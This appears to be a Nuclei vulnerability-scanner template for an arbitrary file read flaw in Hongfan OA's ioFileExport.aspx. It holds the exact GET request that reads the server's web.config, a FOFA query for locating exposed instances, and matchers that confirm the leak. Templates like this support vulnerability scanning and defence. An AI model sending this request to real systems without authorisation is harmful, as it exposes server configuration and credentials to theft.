hongfan-ioffice-lfi: Hongfan OA ioFileExport.aspx - Arbitrary File Read

id: hongfan-ioffice-lfi

info:
  name: Hongfan OA ioFileExport.aspx - Arbitrary File Read
  author: SleepingBag945
  severity: medium
  description: |
    Arbitrary File Read vulnerability in the Hongfan OA ioFileExport.aspx file, through which an attacker can obtain sensitive server information
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E7%BA%A2%E5%B8%86OA/%E7%BA%A2%E5%B8%86OA%20ioFileExport.aspx%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
    - https://github.com/qingchenhh/qc_poc/blob/main/Goby/ioffice_file_read.go
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="红帆-ioffice"
  tags: hongfan,lfi,vuln
variables:
  filename: "{{rand_base(5)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/ioffice/prg/set/iocom/ioFileExport.aspx?url=/ioffice/web.config&filename={{filename}}.txt&ContentType=application/octet-stream"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "configSection") && contains(body, "iOfficeUpload")'
          - 'contains(header, "application/octet-stream")'
        condition: and
# digest: 4a0a00473045022100baabdaaa1392477bb65d72d34717a3920d8d5ff11ff843f36c941a9f9b51c4a902204d95efc2f8eeb307f8b7d7357eda8d40a5b2b970b514a2176895f1d12c564e51:922c64590222798bb761d5b6d8e72950